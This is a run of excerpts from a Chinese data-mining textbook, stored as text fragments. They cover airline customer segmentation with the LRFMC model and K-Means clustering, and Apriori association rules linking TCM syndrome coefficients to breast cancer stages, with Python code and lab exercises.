汽车销售行业，通常是指销售汽车整车的行业。汽车销售行业在税收上存在少开发票金额、少计收入，上牌、按揭、保险等一条龙服务未入账，不及时确认保修索赔款等多种情况，导致政府损失大量税收。汽车销售企业的部分经营指标能在一定程度上评估企业的偷漏税倾向，附件数据（见：拓展思考/拓展思考样本数据.xls）提供了汽车销售行业纳税人的各个属性和是否偷漏税标识，请结合汽车销售行业纳税人的各个属性，总结衡量纳税人的经营特征，建立偷漏税行为识别模型，识别偷漏税纳税人。 6.5 小结 本章结合窃漏电用户识别的案例，重点介绍了数据挖掘算法中LM神经网络和CART决策树算法在实际案例中的应用。研究窃漏电用户的行为特征，总结出窃漏电用户的特征指标，对比LM神经网络和CART决策树算法在窃漏电用户的识别效果，从中选取最优模型进行窃漏电诊断，并详细地描述了数据挖掘的整个过程，并对其相应的算法给出了Python上机实验步骤。"},
    {"text": "第7章 航空公司客户价值分析 7.1 背景与挖掘目标 信息时代的来临使得企业营销焦点从产品中心转变为客户中心，客户关系管理成为企业的核心问题。客户关系管理的关键问题是客户分类，通过客户分类，区分无价值客户、高价值客户，企业针对不同价值的客户制定优化的个性化服务方案，采取不同营销策略，将有限营销资源集中于高价值客户，实现企业利润最大化目标。准确的客户分类结果是企业优化营销资源分配的重要依据，客户分类越来越成为客户关系管理中亟待解决的关键问题之一。 面对激烈的市场竞争，各个航空公司都推出了更优惠的营销方式来吸引更多的客户，国内某航空公司面临着旅客流失、竞争力下降和航空资源未充分利用等经营危机。通过建立合理的客户价值评估模型，对客户进行分群，分析比较不同客户群的客户价值，并制定相应的营销策略，对不同的客户群提供个性化的客户服务是必须和有效的。目前该航空公司已积累了大量的会员档案信息和其乘坐航班记录，经加工后得到表7-1所示的部分数据信息。 请根据这些数据（见表7-2）实现以下目标。 1）借助航空公司客户数据，对客户进行分类。 2）对不同的客户类别进行特征分析，比较不同类客户的客户价值。 3）对不同价值的客户类别提供个性化服务，制定相应的营销策略。 表7-1 航空信息属性表 观测窗口：以过去某个时间点为结束时间，某一时间长度作为宽度，得到历史时间范围内的一个时间段。 表7-2 航空信息数据表 数据详见：示例程序/data/air_data.csv"},
    {"text": "识别客户价值应用最广泛的模型是通过3个指标（最近消费时间间隔（Recency）、消费频率（Frequency）和消费金额（Monetary））来进行客户细分，识别出高价值的客户，简称RFM模型 [15] 。"},
    {"text": "由于航空票价受到运输距离、舱位等级等多种因素影响，同样消费金额的不同旅客对航空公司的价值是不同的。 例如，一位购买长航线、低等级舱位票的旅客与一位购买短航线、高等级舱位票的旅客相比，后者对于航空公司而言价值可能更高。"},
    {"text": "此外，考虑航空公司会员入会时间的长短在一定程度上能够影响客户价值，所以在模型中增加客户关系长度L，作为区分客户的另一指标。 本案例将客户关系长度L、消费时间间隔R、消费频率F、飞行里程M和折扣系数的平均值C五个指标作为航空公司识别客户价值指标（见表7-3），记为LRFMC模型。 表7-3 指标含义 针对航空公司LRFMC模型，如果采用传统RFM模型分析的属性分箱方法，如图7-1所示 [16] （它是依据属性的平均值进行划分，其中大于平均值的表示为↑，小于平均值的表示为↓），虽然也能够识别出最有价值的客户，但是细分的客户群太多，提高了针对性营销的成本。"},
    {"text": "图7-1 RFM模型分析 本案例航空客户价值分析的总体流程如图7-2所示。 图7-2 航空客运数据挖掘建模总体流程 航空客运信息挖掘主要包括以下步骤。"},
    {"text": "3）利用步骤2）中形成的已完成数据预处理的建模数据，基于旅客价值LRFMC模型进行客户分群，对各个客户群进行特征分析，识别出有价值的客户。"},
    {"text": "7.2.1 数据抽取 以2014-03-31为结束时间，选取宽度为两年的时间段作为分析观测窗口，抽取观测窗口内有乘机记录的所有客户的详细数据形成历史数据。"},
    {"text": "从航空公司系统内的客户基本信息、乘机信息以及积分信息等详细数据中，根据末次飞行日期（LAST_FLIGHT_DATE），抽取2012-04-01至2014-03-31内所有乘客的详细数据，总共有62988条记录。"},
    {"text": "其中包含了会员卡号、入会时间、性别、年龄、会员卡级别、工作地城市、工作地所在省份、工作地所在国家、观测窗口结束时间、观测窗口乘机积分、飞行公里数、飞行次数、飞行时间、乘机时间间隔和平均折扣率等44个属性。"},
    {"text": "通过对数据观察发现原始数据中存在票价为空值，票价最小值为0、折扣率最小值为0、总飞行公里数大于0的记录。 票价为空值的数据可能是客户不存在乘机记录造成，其他的数据可能是客户乘坐0折机票或者积分兑换产生的。"},
    {"text": "代码清单7-1 数据探索分析代码 #-*- coding: utf-8 -*- # 对数据进行基本的探索 # 返回缺失值个数以及最大最小值 import pandas as pd datafile= '../data/air_data.csv' # 航空原始数据 , 第一行为属性标签 resultfile = '../tmp/explore.xls' # 数据探索结果表 data = pd.read_csv(datafile, encoding = 'utf-8') # 读取原始数据，指定 UTF-8 编码（需要用 文本编辑器将数据转换为 UTF-8 编码） explore = data.describe(percentiles = [], include = 'all').T # 包括对数据的基本描述， percentiles 参数是指定计算多少的分位数表（如 1/4 分位数、中位数等）； T 是转置，转置后更方便查阅 explore['null'] = len(data)-explore['count'] #describe() 函数自动计算非空值数，需要手 动计算空值数 explore = explore[['null', 'max', 'min']] explore.columns = [u' 空值数 ', u' 最大值 ', u' 最小值 '] # 表头重命名 ''' 这里只选取部分探索结果。 describe() 函数自动计算的字段有 count （非空值数）、 unique （唯一值数）、 top （频数最高者）、 freq （最高频数）、 mean （平均值）、 std （方差）、 min （最小值）、 50% （中位数）、 max （最大值） ''' explore.to_excel(resultfile) # 导出结果 代码详见：示例程序/code/data_explore.py 根据上面的代码得到的探索结果见表7-4。"},
    {"text": "代码清单7-2 数据清洗代码 #-*- coding: utf-8 -*- # 数据清洗，过滤掉不符合规则的数据 import pandas as pd datafile= '../data/air_data.csv' # 航空原始数据 , 第一行为属性标签 cleanedfile = '../tmp/data_cleaned.csv' # 数据清洗后保存的文件 data = pd.read_csv(datafile,encoding='utf-8') # 读取原始数据，指定 UTF-8 编码（需要用文本 编辑器将数据装换为 UTF-8 编码） data = data[data['SUM_YR_1'].notnull()*data['SUM_YR_2'].notnull()] # 票价非空值才保留 # 只保留票价非零的，或者平均折扣率与总飞行公里数同时为 0 的记录。 index1 = data['SUM_YR_1'] != 0 index2 = data['SUM_YR_2'] != 0 index3 = (data['SEG_KM_SUM'] == 0) & (data['avg_discount'] == 0) # 该规则是“与” data = data[index1 | index2 | index3] # 该规则是“或” data.to_excel(cleanedfile) # 导出结果 代码详见：示例程序/code/data_clean.py 2.属性规约 原始数据中属性太多，根据航空公司客户价值LRFMC模型，选择与LRFMC指标相关的6个属性：FFP_DATE、LOAD_TIME、FLIGHT_COUNT、AVG_DISCOUNT、SEG_KM_SUM、LAST_TO_END。"},
    {"text": "经过属性选择后的数据集，见表7-5。 表7-5 属性选择后的数据集 3.数据变换 数据变换是将数据转换成“适当的”格式，以适应挖掘任务及算法的需要。"},
    {"text": "（1）L＝LOAD_TIME－FFP_DATE 会员入会时间距观测窗口结束的月数＝观测窗口的结束时间－入会时间[单位：月] （2）R＝LAST_TO_END 客户最近一次乘坐公司飞机距观测窗口结束的月数＝最后一次乘机时间至观察窗口末端时长[单位：月] （3）F＝FLIGHT_COUNT 客户在观测窗口内乘坐公司飞机的次数＝观测窗口的飞行次数[单位：次] （4）M＝SEG_KM_SUM 客户在观测时间内在公司累计的飞行里程＝观测窗口的总飞行公里数[单位：公里] （5）C＝AVG_DISCOUNT 客户在观测时间内乘坐舱位所对应的折扣系数的平均值＝平均折扣率[单位：无] 5个指标的数据提取后，对每个指标数据分布情况进行分析，其数据的取值范围见表7-6。"},
    {"text": "表7-6 LRFMC指标取值范围 标准差标准化处理的Python代码如代码清单7-3所示，datafile为输入数据文件，zscoredata为标准差标准化后数据集。 代码清单7-3 标准差标准化 #-*- coding: utf-8 -*- # 标准差标准化 import pandas as pd datafile = '../data/zscoredata.xls' # 需要进行标准化的数据文件； zscoredfile = '../tmp/zscoreddata.xls' # 标准差化后的数据存储路径文件； # 标准化处理 data = pd.read_excel(datafile) data = (data - data.mean(axis = 0))/(data.std(axis = 0)) # 简洁的语句实现了标准化变 换，类似地可以实现任何想要的变换。"},
    {"text": "data.to_excel(zscoredfile, index = False) # 数据写入 代码详见：示例程序/code/zscore_data.py 标准差标准化处理后，形成ZL、ZR、ZF、ZM、ZC 5个属性的数据，如表7-7所示。"},
    {"text": "表7-7 标准化处理后的数据集 数据详见：示例程序/data/zscoreddata.xls 7.2.4 模型构建 客户价值分析模型构建主要由两个部分构成，第一个部分根据航空公司客户5个指标的数据，对客户进行聚类分群。"},
    {"text": "K-Means聚类算法位于Scikit-Learn库下的聚类子库（sklearn.cluster），代码如代码清单7-4所示，输入数据集为inputfile，聚类类别数为k＝5。 代码清单7-4 K-Means聚类算法 #-*- coding: utf-8 -*- #K-Means 聚类算法 import pandas as pd from sklearn.cluster import KMeans # 导入 K 均值聚类算法 inputfile = '../tmp/zscoreddata.xls' # 待聚类的数据文件 k = 5 # 需要进行的聚类类别数 # 读取数据并进行聚类分析 data = pd.read_excel(inputfile) # 读取数据 # 调用 k-means 算法，进行聚类分析 kmodel = KMeans(n_clusters = k, n_jobs = 4) #n_jobs 是并行数，一般等于 CPU 数较好 kmodel.fit(data) # 训练模型 kmodel.cluster_centers_ # 查看聚类中心 kmodel.labels_ # 查看各样本对应的类别 代码详见：示例程序/code/KMeans_cluster.py 对数据进行聚类分群的结果如表7-8所示。"},
    {"text": "其中，客户群1在F、M属性上最大，在R属性上最小； 客户群2在L属性上最大； 客户群3在R属性上最大，在F、M属性上最小； 客户群4在L、C属性上最小； 客户群5在C属性上最大。"},
    {"text": "结合业务分析，通过比较各个指标在群间的大小对某一个群的特征进行评价分析。 例如客户群1在F、M属性最大，在R指标最小，因此可以说F、M、R在客户群1是优势特征。"},
    {"text": "图7-3 客户群特征分析图 表7-9 客户群特征描述表 注：正常字体表示最大值、加粗字体表示次大值、斜体字体表示最小值、带下划线的字体表示次小值。"},
    {"text": "由上述的特征分析的图表说明每个客户群的都有显著不同的表现特征，基于该特征描述，本案例定义五个等级的客户类别：重要保持客户、重要发展客户、重要挽留客户、一般客户、低价值客户。 他们之间的区别如图7-4所示，其中每种客户类别的特征如下： · 重要保持客户： 这类客户的平均折扣率（C）较高（一般所乘航班的舱位等级较高），最近乘坐过本公司航班（R）低，乘坐的次数（F）或里程（M）较高。"},
    {"text": "航空公司应该优先将资源投放到他们身上，对他们进行差异化管理和一对一营销，提高这类客户的忠诚度与满意度，尽可能延长这类客户的高水平消费。"},
    {"text": "· 重要挽留客户： 这类客户过去所乘航班的平均折扣率（C）、乘坐次数（F）或者里程（M）较高，但是较长时间已经没有乘坐本公司的航班（R）高或是乘坐频率变小。"},
    {"text": "航空公司应该根据这些客户的最近消费时间、消费次数的变化情况，推测客户消费的异动状况，并列出客户名单，对其重点联系，采取一定的营销手段，延长客户的生命周期。"},
    {"text": "· 一般与低价值客户： 这类客户所乘航班的平均折扣率（C）很低，较长时间没有乘坐过本公司航班（R）高，乘坐的次数（F）或里程（M）较低，入会时长（L）短。 他们是航空公司的一般用户与低价值客户，可能是在航空公司机票打折促销时，才会乘坐本公司航班。"},
    {"text": "图7-4 客户类别的特征分析 其中，重要发展客户、重要保持客户、重要挽留客户这三类重要客户分别可以归入客户生命周期管理的发展期、稳定期、衰退期三个阶段。"},
    {"text": "针对不同类型的客户群提供不同的产品和服务，提升重要发展客户的价值、稳定和延长重要保持客户的高水平消费、防范重要挽留客户的流失并积极进行关系恢复。"},
    {"text": "因此，对于新增客户详细信息，考虑业务的实际情况，该模型建议每一个月运行一次，对其新增客户信息通过聚类中心进行判断，同时对本次新增客户的特征进行分析。"},
    {"text": "如果模型稳定性变化大，需要重新训练模型进行调整。 目前模型进行重新训练的时间没有统一标准，大部分情况都是根据经验来决定。 根据经验建议：每隔半年训练一次模型比较合适。"},
    {"text": "（1）会员的升级与保级 航空公司的会员可以分为白金卡会员、金卡会员、银卡会员、普通卡会员，其中非普通卡会员可以统称为航空公司的精英会员。"},
    {"text": "成为精英会员一般都是要求在一定时间内（如一年）积累一定的飞行里程或航段，达到这种要求后就会在有效期内（通常为两年）成为精英会员，并享受相应的高级别服务。"},
    {"text": "有效期快结束时，根据相关评价方法确定客户是否有资格继续作为精英会员，然后对该客户进行相应地升级或降级。 然而，由于许多客户并没有意识到或根本不了解会员升级或保级的时间与要求（相关的文件说明往往复杂且不易理解），经常在评价期过后才发现自己其实只差一点就可以实现升级或保级，却错过了机会，使之前的里程积累白白损失。"},
    {"text": "因此，航空公司可以在对会员升级或保级进行评价的时间点之前，对那些接近但尚未达到要求的较高消费客户进行适当提醒甚至采取一些促销活动，刺激他们通过消费达到相应标准。"},
    {"text": "（2）首次兑换 航空公司常旅客计划中最能够吸引客户的内容就是客户可以通过消费积累的里程来兑换免票或免费升舱等。 各个航空公司都有一个首次兑换标准，也就是当客户的里程或航段积累到一定程度时才可以实现第一次兑换，这个标准会高于正常的里程兑换标准。"},
    {"text": "（3）交叉销售 通过发行联名卡等与非航空类企业的合作，使客户在其他企业的消费过程中获得本公司的积分，增强与公司的联系，提高他们的忠诚度。"},
    {"text": "例如，可以查看重要客户在非航空类合作伙伴处的里程积累情况，找出他们习惯的里程积累方式（是否经常在合作伙伴处消费、更喜欢消费哪些类型合作伙伴的产品），对他们进行相应促销。"},
    {"text": "保持客户对于企业是至关重要的，不仅因为争取一个新客户的成本远远高于维持老客户的成本，更重要的是客户流失会造成公司收益的直接损失。"},
    {"text": "因此，在这一时期，航空公司应该努力维系客户关系，使之处于较高的水准，最大化生命周期内公司与客户的互动价值，并使这样的高水平尽可能延长。"},
    {"text": "航空公司应该优先将资源投放到他们身上，对他们进行差异化管理和一对一营销，提高这类客户的忠诚度与满意度，尽可能延长这类客户的高水平消费。"},
    {"text": "7.3 上机实验 1.实验目的 ·了解K-Means聚类算法在客户价值分析实例中的应用。 ·利用Pandas快速实现数据z-score（标准差）标准化以及用Scikit-Learn的聚类库实现K-Means聚类。 2.实验内容 依据航空公司客户价值分析的LRFMC模型提取客户信息的LRFMC指标。对其进行标准差标准化并保存后，采用K-Means算法完成客户的聚类，分析每类的客户特征，从而获得每类的客户价值。 ·利用Pandas程序，读入LRFMC指标文件，分别计算各个指标的均值和标准差，使用标准差标准化公式完成LRFMC指标的标准化，并将标准化后的数据进行保存。 ·编写Python程序，完成客户的K-Means聚类，获得聚类中心与类标号。输出聚类中心的特征图，并统计每个类别的客户数。 3.实验方法与步骤 实验一 对L、R、F、M、C五个指标进行z-score（标准差）标准化。 1）启动Python并导入Pandas，使用read_excel（）函数将待标准差标准化的数据“上机实验/data/zscoredata.xls”读入到Python中。 2）使用mean（）与std（）函数，获得L、R、F、M、C五个指标的平均值与标准差。 3）根据z-score（标准差）标准化公式z ij ＝（x ij －x i ）/s i ，其中z ij 是标准化后的变量值；x ij 是实际变量值，x i 为变量的算术平均值，s i 是变量的标准差，进行标准差标准化。 实验二 1）使用read_excel函数将航空数据预处理后的数据读入Python工作空间，截取最后5列数据作为K-Means算法的输入数据。 2）调用KMeans函数对1）中的数据进行聚类，得到聚类标号和聚类中心点。 3）根据聚类标号统计每个类别的客户数，同时根据聚类中心点向量画出客户聚类中心向量图并保存。 4.思考与实验总结 1）Scikit-Learn中KMeans函数中的初始聚类中心可以使用什么算法得到？默认是什么算法？ 2）使用不同的预处理对原始数据进行变换，再使用K-Means算法进行聚类，对比聚类结果，分析不同数据预处理对K-Means算法的影响。 7.4 拓展思考 本章主要针对客户价值进行分析，对客户流失并没有提出具体的分析。由于在航空客户关系管理中客户流失的问题未被重视，故对航空公司造成了巨大的损害。客户流失对利润增长造成的负面影响非常大，仅次于公司规模、市场占有率和单位成本等因素的影响。客户与航空公司之间的关系越长久，给航空公司带来的利润就会越高。所以流失一个客户，比获得一个新客户对公司的损失更大。因为要获得新客户，需要在销售、市场、广告和人员工资上花费很多，并且大多数新客户产生的利润不如那些流失的老客户多。 因此，在国内航空市场竞争日益激烈的背景下，航空公司在客户流失方面应该引起足够的重视。如何改善流失问题，继而提高客户满意度、忠诚度是航空公司维护自身市场并面对激烈竞争的一件大事，客户流失分析将成为帮助航空公司开展持续改进活动的指南。 客户流失分析可以针对目前老客户进行分类预测。针对航空公司客户信息数据（见表7-2），可以进行老客户以及客户类型的定义（其中将飞行次数大于6次的客户定义为老客户，已流失客户定义为：第二年飞行次数与第一年飞行次数比例小于50%的客户；准流失客户定义为：第二年飞行次数与第一年飞行次数比例在[50%，90%）内的客户；未流失客户定义为：第二年飞行次数与第一年飞行次数比例大于90%的客户）。同时，需要选取客户信息中的关键属性，如会员卡级别、客户类型（流失、准流失、未流失）、平均乘机时间间隔、平均折扣率、积分兑换次数、非乘机积分总和、单位里程票价和单位里程积分等。随机选取数据的80%作为分类的训练样本，剩余的20%作为测试样本。构建客户的流失模型，运用模型预测未来客户的类别归属（未流失、准流失或已流失）。 7.5 小结 本章结合航空公司客户价值分析的案例，重点介绍了数据挖掘算法中K-Means聚类算法在实际案例中的应用。针对客户价值识别传统的RFM模型的不足，采用K-Means算法进行分析，并详细地描述了数据挖掘的整个过程，对其相应的算法给出了Python上机实验步骤。 第8章 中医证型关联规则挖掘 8.1 背景与挖掘目标 恶性肿瘤俗称癌症，当前已成为危害我国居民生命健康的主要杀手。应用中医药治疗恶性肿瘤已成为公认的综合治疗方法之一，且中医药治疗乳腺癌有着广泛的适应证和独特的优势。从整体出发，调整机体气血、阴阳、脏腑功能的平衡，根据不同的临床证候进行辨证论治。确定“先证而治”的方向：即后续证侯尚未出现之前，需要截断恶化病情的哪些后续证侯。发现中医症状间的关联关系和诸多症状间的规律性，并且依据规则分析病因、预测病情发展以及为未来临床诊治提供有效借鉴。这样，在治疗患者的过程中，医生可以有效地减少西医治疗的毒副作用，为后续治疗打下基础。并且还能够帮助乳腺癌患者在手术后恢复体质，改善生存质量，有利于提高患者的生存机率。 三阴乳腺癌患者的临床患病信息见表8-1，由信息整理而成的原始数据见表8-2，请根据这些数据实现以下目标。 1）借助三阴乳腺癌患者的病理信息，挖掘患者的症状与中医证型之间的关联关系。 2）对截断治疗提供依据，挖掘潜性证素。 表8-1 原始属性表"},
    {"text": "8.2 分析方法与过程 由于患者在围手术期、围化疗期、围放疗期和内分泌治疗期等各个病程阶段，基本都会出现特定的临床症状，故而可以运用中医截断疗法进行治疗，在辨病的基础上围绕各个病程的特殊证候先证而治。"},
    {"text": "目前，患者的临床病理信息大部分都记录在纸张上，包含了患者的基本信息、具体患病信息等，很少会将患者的患病信息存放于系统中，因此进行数据分析时会面临数据缺乏的情况。"},
    {"text": "采用关联规则算法，挖掘各中医证素与乳腺癌TNM分期之间的关系，其中乳腺癌TNM分期是乳腺癌分期基本原则，Ⅰ期较轻，Ⅳ期较严重。 探索不同分期阶段的三阴乳腺癌患者的中医证素分布规律，以及采用截断病变发展、先期干预的治疗思路，指导三阴乳腺癌的中医临床治疗。"},
    {"text": "表8-2 原始数据表 图8-1 中医证型关联规则挖掘模型总体流程图 3）利用步骤2）形成的建模数据，采用关联规则算法，调整模型输入参数，获取各中医证素与乳腺癌TNM分期之间的关系。"},
    {"text": "首先根据中华中医药学会制定的相关指南与标准，从乳腺癌6种分型的症状（见表8-3）中提取相应证素拟定调查问卷表，见表8-4，并制定三阴乳腺癌中医证素诊断量表（见表8-5），从调查问卷中提炼信息形成原始属性表。"},
    {"text": "问卷调查需要满足两个条件：①问卷信息采集者均要求有中医诊断学基础，能准确识别病人的舌苔脉象，用通俗的语言解释医学术语，并确保患者信息填写准确。"},
    {"text": "②问卷调查对象必须是三阴乳腺癌患者。 本章的调查对象是某省中医院以及肿瘤医院等处于各病程阶段的1253位三阴乳腺癌患者。 表8-3 乳腺癌辨证分型 表8-4 三阴乳腺癌中医证素调查问卷 表8-5 三阴乳腺癌中医证素诊断量表 表8-6 标准定义表 8.2.2 数据预处理 本案例中数据预处理过程包括数据清洗、属性规约和数据变换。"},
    {"text": "数据来源于问卷调查，因此在数据预处理开始阶段，需要把纸质的问卷整理成原始数据集。 针对原始数据集，经过数据预处理，形成建模数据集。"},
    {"text": "图8-2 样本数据采集情况 2.属性规约 本案例收集到的数据共有73个属性，为了更有效地对其进行挖掘，将其中冗余属性与挖掘任务不相关属性剔除。"},
    {"text": "（1）属性构造 为了更好地反映出中医证素分布的特征，采用证型系数代替具体单证型的证素得分，证型相关系数计算公式为：证型系数＝该证型得分/该证型总分。"},
    {"text": "表8-8 属性构造后的数据集 数据详见：demo/data/data.xls （2）数据离散化 由于Apriori关联规则算法无法处理连续型数值变量，为了将原始数据格式转换为适合建模的格式，需要对数据进行离散化。"},
    {"text": "本章采用聚类算法对各个证型系数进行离散化处理，将每个属性聚成4类，其离散化后的数据格式见表8-9~表8-14。 表8-9 肝气郁结证型系数离散表 表8-10 热毒蕴结证型系数离散表 表8-11 冲任失调证型系数离散表 表8-12 气血两虚证型系数离散表 表8-13 脾胃虚弱证型系数离散表 表8-14 肝肾阴虚证型系数离散表 数据离散化的代码如代码清单8-1所示。 代码清单8-1 数据聚类离散化代码 #-*- coding: utf-8 -*- ''' 聚类离散化，最后的 result 的格式为： 1 2 3 4 A 0 0.178698 0.257724 0.351843 An 240 356.000000 281.000000 53.000000 即 (0, 0.178698] 有 240 个， (0.178698, 0.257724] 有 356 个，依此类推。 ''' from __future__ import print_function import pandas as pd from sklearn.cluster import KMeans # 导入 K 均值聚类算法 datafile = '../data/data.xls' # 待聚类的数据文件 processedfile = '../tmp/data_processed.xls' # 数据处理后文件 typelabel ={u' 肝气郁结证型系数 ':'A', u' 热毒蕴结证型系数 ':'B', u' 冲任失调证型系数 ':'C', u' 气血两虚证型系数 ':'D', u' 脾胃虚弱证型系数 ':'E', u' 肝肾阴虚证型系数 ':'F'} k = 4 # 需要进行的聚类类别数 # 读取数据并进行聚类分析 data = pd.read_excel(datafile) # 读取数据 keys = list(typelabel.keys()) result = pd.DataFrame() if __name__ == '__main__': # 判断是否主窗口运行，这句代码的作用比较神奇，有兴趣了解的读取请 # 自行搜索相关材料 for i in range(len(keys)): # 调用 k-means 算法，进行聚类离散化 print(u' 正在进行“ %s ”的聚类 ...' % keys[i]) kmodel = KMeans(n_clusters = k, n_jobs = 4) #n_jobs 是并行数，一般等于 CPU 数较好 kmodel.fit(data[[keys[i]]].as_matrix()) # 训练模型 r1 = pd.DataFrame(kmodel.cluster_centers_, columns = [typelabel[keys[i]]]) # 聚类中心 r2 = pd.Series(kmodel.labels_).value_counts() # 分类统计 r2 = pd.DataFrame(r2, columns = [typelabel[keys[i]]+'n']) # 转为 DataFrame ，记 录各个类别的数目 r = pd.concat([r1, r2], axis = 1).sort(typelabel[keys[i]]) # 匹配聚类中心和类别 数目 r.index = [1, 2, 3, 4] r[typelabel[keys[i]]] = pd.rolling_mean(r[typelabel[keys[i]]], 2) #rolling_ mean() 用来计算相邻 2 列的均值，以此作为边界点 r[typelabel[keys[i]]][1] = 0.0 # 这两句代码将原来的聚类中心改为边界点 result = result.append(r.T) result = result.sort() # 以 Index 排序，即以 A,B,C,D,E,F 顺序排 result.to_excel(processedfile) 代码详见：demo/code/discretization.py 原始数据集经过数据预处理后，形成建模数据，见表8-15。"},
    {"text": "表8-15 建模数据集 8.2.3 模型构建 本案例的目标是探索乳腺癌患者TNM分期与中医证型系数之间的关系，因此采用关联规则算法，挖掘它们之间的关联关系。"},
    {"text": "1.中医证型关联规则模型 本次中医证型关联规则建模的流程如图8-3所示。 图8-3 中医证型关联规则模型流程图 由图8-3可知，模型主要由输入、算法处理、输出部分组成。"},
    {"text": "然后采用Apriori关联规则算法对建模的样本数据进行分析，以模型参数设置的最小支持度、最小置信度以及分析目标作为条件，如果所有的规则都不满足条件，则需要重新调整模型参数，否则输出关联规则结果。"},
    {"text": "代码清单8-2 Apriori关联规则代码 %% Apriori 关联规则算法 #-*- coding: utf-8 -*- from __future__ import print_function import pandas as pd from apriori import * # 导入自行编写的高效的 Apriori 函数 import time # 导入时间库用来计算用时 inputfile = '../data/apriori.txt' # 输入事务集文件 data = pd.read_csv(inputfile, header=None, dtype = object) start = time.clock() # 计时开始 print(u'\\n 转换原始数据至 0-1 矩阵 ...') ct = lambda x : pd.Series(1, index = x[pd.notnull(x)]) # 转换 0-1 矩阵的过渡函数，即将标 签数据转换为 1 b = map(ct, data.as_matrix()) # 用 map 方式执行 data = pd.DataFrame(b).fillna(0) # 实现矩阵转换，除了 1 外，其余为空，空值用 0 填充 end = time.clock() # 计时结束 print(u'\\n 转换完毕，用时： %0.2f 秒 ' %(end-start)) del b # 删除中间变量 b ，节省内存 support = 0.06 # 最小支持度 confidence = 0.75 # 最小置信度 ms = '---' # 连接符，默认 '--' ，用来区分不同元素，如 A--B 。 需要保证原始表格中不含有该字符 start = time.clock() # 计时开始 print(u'\\n 开始搜索关联规则 ...') find_rule(data, support, confidence, ms) end = time.clock() # 计时结束 print(u'\\n 搜索完成，用时： %0.2f 秒 ' %(end-start)) 代码详见：demo/code/apriori_rules.py 运行界面输出类似如下内容。 转换原始数据至 0-1 矩阵 ... 转换完毕，用时： 0.15 秒 开始搜索关联规则 ... 正在进行第 1 次搜索 ... 数目： 276... 正在进行第 2 次搜索 ... 数目： 947... 正在进行第 3 次搜索 ... 数目： 41... 结果为： support confidence A3---F4---H4 0.078495 0.879518 C3---F4---H4 0.075269 0.875000 B2---F4---H4 0.062366 0.794521 C2---E3---D2 0.092473 0.754386 D2---F3---H4---A2 0.062366 0.753247 搜索完成，用时： 0.97 秒 2.模型分析 根据上述运行结果，我们得出了5个关联规则，如A3---F4---H4，它的意思是A3，F4=>H4，类似的，D2---F3---H4---A2的意思是D2，F3，H4=>A2。"},
    {"text": "A3表示肝气郁结证型系数处于（0.258，0.35]范围内的数值，B2表示热毒蕴结证型系数处于（0.15，0.296]范围内的数值，C3表示冲任失调证型系数处于（0.288，0.415]范围内的数值，F4表示肝肾阴虚证型系数处于（0.353，0.607]范围内的数值。"},
    {"text": "1）A3、F4=>H4支持度最大，达到7.85%，置信度最大，达到87.96%，说明肝气郁结证型系数处于（0.258，0.35]，肝肾阴虚证型系数处于（0.353，0.607]范围内，TNM分期诊断为H4期的可能性为87.96%，而这种情况发生的可能性为7.85%。 2）C3、F4=>H4支持度7.53%，置信度87.5%，说明冲任失调证型系数处于（0.201，0.288]，肝肾阴虚证型系数处于（0.353，0.607]范围内，TNM分期诊断为H4期的可能性为87.5%，而这种情况发生的可能性为7.53%。 3）B2、F4=>H4支持度6.24%，置信度79.45%，说明热毒蕴结证型系数处于（0.15，0.296]，肝肾阴虚证型系数处于（0.353，0.607]范围内，TNM分期诊断为H4期的可能性为79.45%，而这种情况发生的可能性为6.24%。 综合以上分析，TNM分期为H4期的三阴乳腺癌患者证型主要为肝肾阴虚证、热毒蕴结证、肝气郁结证和冲任失调，H4期患者肝肾阴虚证和肝气郁结证的临床表现较为突出，其置信度最大达到87.96%。"},
    {"text": "对于模型结果，从医学角度进行分析：生理上，肝藏血，肾藏精，精血同源，肝肾同源，如《张氏医通》所言：“气不耗，归精于肾而为精； 精不泄，归精于肝而化清血。"},
    {"text": "且古今医家皆认为乳腺癌的形成与“肝气不舒郁积而成”有关系，心理学中抑郁内向的C型人格特征也被认为是肿瘤发生的高危因素之一，所以Ⅳ期三阴乳腺癌患者多有肝气郁结证的表现。 3.模型应用 模型结果表明TNM分期为Ⅳ期的三阴乳腺癌患者证型主要为肝肾阴虚证、热毒蕴结证、肝气郁结证和冲任失调证。 其中，Ⅳ期患者肝肾阴虚证和肝气郁结证的临床表现较为突出，其置信度最大达到87.96%，且肝肾阴虚证临床表现都存在。 故当Ⅳ期患者出现肝肾阴虚证之表现时，应当选取滋补肝肾、清热解毒类抗癌中药，以滋养肝肾为补，清热解毒为攻，攻补兼施，截断热毒蕴结证的出现，为患者接受进一步治疗争取机会。 由于患者多有肝气郁结证的表现，在进行治疗时须本着身心一体、综合治疗的精神，重视心理调适。 一方面要在药方中注重疏肝解郁，另一方需要及时疏导患者抑郁、焦虑的不良情绪，帮助患者建立合理的认知，树立继续治疗延长生存期的勇气。"},
    {"text": "8.3 上机实验 1.实验目的 ·掌握Python结合Pandas实现Apriori关联算法的过程。 ·了解Apriori关联算法的输入与输出的数据形式，且需要注意对输出数据进行相应的筛选。 2.实验内容 ·用Pandas读取案例的事务集，每一行为一个事务集。调用下载资源的“上机实验/code/”目录中的关联算法函数，输入算法的最小支持度与最小置信度，获得中医症型系数与患者TNM分期的关联关系规则，并将规则进行保存。 ·依据分析的目标，编写过滤函数代码，从输出结果中筛选与分析目标相关的规则，并按照特定的格式进行保存。 3.实验方法与步骤 1）打开Python，使用Pandas库中的read_csv（）函数将关联分析的数据“demo/data/apriori.txt”读入到工作环境中，其中每个事务集为一行，每行事务集的分隔符默认为字符‘，’。如“A2，B1，C3，D3，E1，F1，H1”这样的一行数据为一个事务集。 2）将读入的“demo/data/apriori.txt”文档中的事务集转换为0，1矩阵，每一行事务集为0，1矩阵的一行，以方便规则的寻找与记录。 3）根据支持度找出频繁集，直至找到最大频繁集后停止。 4）根据置信度得到大于等于置信度的规则，即为Apriori算法所求的关联规则。 5）对Apriori算法输出的规则，编写过滤函数。因为该实验探究的是表8-15中6个症型系数与患者TNM分期的规则，所以只留下关联规则中后项有H的规则，得到的相应结果展示见表8-16。 4.思考与实验总结 1）Python的流行库中都没有自带的关联规则函数，因此本书编写了相应的关联规则函数，该函数依赖于Pandas库。该函数是很高效的（就实现Apriori算法而言），可作为工具函数在需要时使用。 2）Apriori算法的关键两步为找频繁集与根据置信度筛选规则，明白这两步才能清晰地编写相应程序，读者可按照自己的思路编写与优化关联规则程序。 3）本案例采用聚类的方法进行数据离散化，读者可以自己上机实验其他的离散化方法，如等距、等频、决策树、基于卡方检验等，试比较各个方法的优缺点。 8.4 拓展思考 